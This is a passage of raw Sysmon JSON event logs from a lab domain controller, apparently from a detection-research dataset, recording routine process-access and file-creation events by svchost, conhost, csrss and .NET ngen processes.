12:00:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6568,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6569,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6570,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6571,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6572,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.557\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4264-5F2D-0000-0010F0290A00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.557","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4264-5F2D-0000-0010F0290A00}","TargetProcessId":"4884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6573,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:37.088\r\nProcessGuid: {90617006-4264-5F2D-0000-00106F260A00}\r\nProcessId: 2960\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b90-0\\System.Runtime.WindowsRuntime.dll\r\nCreationUtcTime: 2020-08-07 12:00:37.088","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:37.088","ProcessGuid":"{90617006-4264-5F2D-0000-00106F260A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b90-0\\System.Runtime.WindowsRuntime.dll","CreationUtcTime":"2020-08-07 12:00:37.088","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6574,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-00106E2C0A00}\r\nTargetProcessId: 4460\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-00106E2C0A00}","TargetProcessId":"4460","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6575,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-00106E2C0A00}\r\nTargetProcessId: 4460\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-00106E2C0A00}","TargetProcessId":"4460","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6576,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-00106E2C0A00}\r\nTargetProcessId: 4460\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 